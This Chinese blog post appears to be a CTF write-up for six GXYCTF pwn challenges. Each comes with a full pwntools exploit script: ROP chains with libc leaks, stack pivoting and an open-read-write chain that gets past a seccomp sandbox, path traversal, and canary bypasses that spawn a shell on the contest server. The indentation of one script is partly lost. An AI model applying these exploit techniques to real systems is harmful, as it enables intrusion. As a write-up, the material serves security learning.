avatar

CTF-GXYCTF-19年12月

babync | SOLVED | working :咲夜南梦

先人工测试一个大小区间,然后通过二分法来确定一个数,具体脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context.log_level = "debug"
minx = 111111111111111111111111111
maxx = 1111111111111111111111111111
num = (minx + maxx) / 2
while True:
    sh = remote("183.129.189.60",10029)
    sh.sendline(str(num))
    data = sh.recv()
    if(data.find('small') != -1):
        minx = num
    else:
        maxx = num
    if(data.find("GXY{") != -1):
        break
    num = (maxx + minx) / 2
    log.success(num)
    sh.close()
sh.interactive()

seccomp | SOLVED | working :咲夜南梦

用ida发现,输入菜单的时候存在溢出,可以覆盖rbp,所以第一考虑栈迁移

程序功能只有3个,create、delete、think

create:malloc(0x20)创建固定堆块,然后在里面写入数据,没有漏洞

delete:free一个堆块,然后指针清0,没有漏洞

think:选择一个堆块,然后输入一个数据和堆块的数据进行对比,如果完全一致则输出y,不一致则输出n

由于要栈迁移,我们需要一个可控的区域,很明显我们可控的区域只有heap区段,所以我们首先需要知道heap的地址,然后考虑到栈迁移之后必须留有一定的向上的栈空间以免程序崩溃,所以我们选择地址较大的堆块进行栈迁移。

然后通过pop3_ret和pop2_ret来跨越堆块执行ropchains,由于程序存在沙盒保护,所以不能直接拿到shell,所以只能orw了

具体步骤:

一、利用free fastbin之后会出现heap_base的指针,通过think来爆破heap地址,直接for循环255次,低位一字节我们是知道的,所以只需要爆破3个字节就够了。

二、再栈迁移之后我们发现能跑的ropchains太短了,传参的gadget不够用,所以我们先通过一些简单的函数来填充一些我们需要用到的寄存器。最后实现无限溢出

我的ropchains流程如下:

1、puts实现libc leak,这里同时实现了rdx赋值为libc地址(也就是第三个参数变得非常大,我们不用再对rdx进行赋值了)

2、然后对rsi进行传参,传入heap的地址

3、直接跳到跳到mov rdi,0;call read;上,call read会在栈里压入一个ret地址,在执行read的之后,可以直接覆盖被压入的ret地址,而且由于rdx很大,从而实现无限溢出,同时通过第一步的leak,我们计算出了libc所有的函数地址

三、无限溢出之后,因为程序开了沙盒所以我们不能直接getshell,所以只能open("/flag",0,0)、read(3,bss() +0x400,0x30)、puts(bss() +0x400)就可以输出flag了,具体exp请看以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("seccomp")
lib = 0
sh = 0
def pwn(ip,port,debug):
global lib
global sh
if(debug == 1):
sh = process("./seccomp")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.23.so")
def create(idx,code):
sh.sendlineafter("delete","1")
sh.sendlineafter("index",str(idx))
sh.sendafter("code",code)
def think(idx,size,code):
sh.sendlineafter("delete","2")
sh.sendlineafter("index",str(idx))
sh.sendlineafter("size",str(size))
sh.sendafter("code\n",code)
def free(idx):
sh.sendlineafter("delete","3")
sh.sendlineafter("index",str(idx))
pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
create(0,'\x10' * 0x20)
create(1,'\x11' * 0x20)
create(2,'\x12' * 0x20)
free(2)
free(1)
free(0)
create(0,'\x10')
heap_base = 0x10
for i in range(0,255):
think(0,2,'\x10' + chr(i))
data = sh.recv(1)
if data == 'n':
continue
else:
heap_base += (i << 8)
break
        for i in range(0,255):
print i
                think(0,3,chr(heap_base % 0x100) + chr((heap_base >> 8)%0x100) + chr(i))
                data = sh.recv(1)
                if data == 'n':
                        continue
                else:
                        heap_base += (i << 16)
                        break
        for i in range(0,255):
                print i
                think(0,4,chr(heap_base % 0x100) + chr((heap_base >> 8)%0x100) + chr((heap_base >> 16) % 0x100)+chr(i))
                data = sh.recv(1)
                if data == 'n':
                        continue
                else:
                        heap_base += (i << 24)
                        break
pop3_ret = 0x0000000000400c6f
ret = 0x00000000004006b1
pop2_ret = 0x0000000000400c71
pop2_fake_ret = 0x0000000000400c70
mov_read_call = 0x0000000000400B18
free(0)
payload = '%s\n'
create(0,payload)
create(1,payload)
create(2,payload)
create(3,payload)
create(4,payload)
create(5,payload)
create(6,payload)
    payload = p64(pop_rdi_ret)
    payload += p64(elf.got['__libc_start_main'])
    payload += p64(elf.plt['puts'])
    payload += p64(pop2_ret)
create(7,payload)
payload = p64(pop2_ret)
payload += p64(heap_base + 0x180)
payload += p64(0)
payload += p64(mov_read_call)
create(8,payload)
payload = p64(pop2_ret)
payload += p64(heap_base + 0x180)
payload += p64(0)
payload += p64(mov_read_call)
create(9,payload)
heap_base = heap_base - 0x10
payload = 'a' * 0x10
payload += p64(heap_base + 0x180 + 8 - 0x30)
sh.sendafter("delete",payload)
sh.sendlineafter('delete',"4")
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc +lib.symbols['system']
binsh = libc +lib.search("/bin/sh\x00").next()
__free_hook = libc +lib.symbols['__free_hook']
__malloc_hook = libc +lib.symbols['__malloc_hook']
gets = libc + lib.symbols['gets']
pop_rdx_ret = libc + lib.search(asm('pop rdx\nret')).next()
payload = 0x18 * "a"
payload += p64(pop_rdi_ret)
payload += p64(0)
payload += p64(pop2_ret)
payload += p64(elf.bss()) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0x1000)
payload += p64(elf.plt['read'])
payload += p64(pop_rdi_ret)
payload += p64(elf.bss())
payload += p64(pop2_ret)
payload += p64(0) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(libc + lib.symbols['open'])
payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop2_ret)
payload += p64(elf.bss() + 0x400) + p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0x30)
payload += p64(elf.plt['read'])
payload += p64(pop_rdi_ret)
payload += p64(elf.bss() + 0x400)
payload += p64(elf.plt['puts'])
sh.sendline(payload)
sleep(1)
sh.sendline("/flag\x00")
sh.interactive()
if __name__ == "__main__":
pwn("183.129.189.60",10027,0)

httpd | SOLVED | working :咲夜南梦

之前在bytectf线下赛遇到过类似的,之前用ubuntu18运行了大半天,结果get_time函数导致崩溃,换成ubuntu16就好了,一血没了(哭泣ing)

打开ida,然后分析代码结构,是一个模拟HTTP协议的程序,然后发现里面有一个get_file函数,经过分析只要传入一个目录就会输出目录的对应文件数据,所以我们直接输出flag就好了,但是直接/flag是输出不了的,需要…/一下才可以输出。

1
2
3
4
5
6
7
from pwn import *
context.log_level = "debug"
sh = remote("183.129.189.60",10024)
payload = '''GET /../flag HTTP/1.1
'''
sh.sendline(payload)
sh.interactive()

blind_note | SOLVED | working :咲夜南梦

日常盲打,可刺激了

经过黑盒测试,发现数据全部在栈上,猜测很可能没有考虑数组越界的情况,然后add了40多次试试,结果发现了smash报错,验证成功。

然后随便输入aaaa发现了一个地址泄露,然后还有一个hint,只要输入66就会输出libc地址,低位是690,经验分析,是puts的libc地址,所以拿着前面的题目的libc,直接做差算出了libc基址,发现后三位是0,肯定没有问题了。

#然后通过不断测试smash和show,发现canary,canary下面一般都是rbp和ret地址,然后找到了ret地址,直接覆盖成ropchains为system(“/bin/sh\x00”)即可拿到shell。

28分钟一血撒花

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
sh = remote("183.129.189.60",10028)
lib = ELF("libc-2.23_ubuntu16_x64.so")
def add(idx):
    sh.sendlineafter(">","1")
    sh.sendlineafter("number",str(idx))

def show():
    sh.sendlineafter(">","2")

def free():
    sh.sendlineafter(">","3")
sh.sendlineafter(">","a")
stack = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
sh.send("66")
sh.recvuntil("my id:")
wechar_id = u64(sh.recv(6).ljust(8,'\x00'))
libc = wechar_id - lib.symbols['puts']
system = libc + lib.symbols['system']
binsh = libc + lib.search("/bin/sh\x00").next()
pop_rdi_ret = libc + lib.search(asm("pop rdi\nret")).next()
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
for i in range(0,25):
    add(i)
add("-")
add("-")
add("-")
add("-")
add("-")
add(str(pop_rdi_ret % 0x100000000))
add(str(pop_rdi_ret >> 32))
add(str(binsh % 0x100000000))
add(str(binsh >> 32))
add(str(system % 0x100000000))
add(str(system >> 32))
sh.sendline("4")
sh.interactive()

fantasy | SOLVED | working :咲夜南梦

直接溢出然后拿到shell就好了

1
2
3
4
5
6
7
from pwn import *
context.log_level = "debug"
sh = remote("183.129.189.60",10025)
payload = 'a' * 0x38
payload += p64(0x0000000000400735)
sh.sendlineafter("nput your message",payload)
sh.interactive()

my_cannary | SOLVED | working :咲夜南梦

里面有一个栈溢出的check,就是先jmp到check然后check完回来,如果check不过就exit,不过他check的所有指针和内容都可以控制,但是我们需要一块相同内容的指针,所以我默认采取了exit的got,由于延迟绑定,got的值还是text区段内的,是可预知的,然后直接覆盖bypass check之后直接走ropchains执行system("/bin/sh\x00")即可

这题也是一血,嘻嘻

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("my_cannary")
lib = 0
sh = 0
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./my_cannary")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("libc-2.23_ubuntu16_x64.so")
    pop_rdi_ret = 0x0000000000400a43
    payload = cyclic(0x30)
    payload += p64(0x601058)#00000000004006F6
    payload += p64(0x00000000004006F6)*2
    payload += p64(pop_rdi_ret)
    payload += p64(elf.got['__libc_start_main'])
    payload += p64(elf.plt['puts'])
    payload += p64(elf.symbols['main'])
    sh.sendlineafter("Now let's begin",payload)
    __libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
    libc = __libc_start_main - lib.symbols['__libc_start_main']
    system = libc +lib.symbols['system']
    binsh = libc +lib.search("/bin/sh\x00").next()
    payload = cyclic(0x30)
    payload += p64(0x601058)#00000000004006F6
    payload += p64(0x00000000004006F6)*2
    payload += p64(pop_rdi_ret)
    payload += p64(binsh)
    payload += p64(system + 0x1b)
    payload += p64(0xdeadbeef)
    sh.sendlineafter("Now let's begin",payload)
    sh.interactive()
if __name__ == "__main__":
    pwn("183.129.189.60",10026,0)
文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/12/31/CTF-GXYCTF-19%E5%B9%B412%E6%9C%88/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论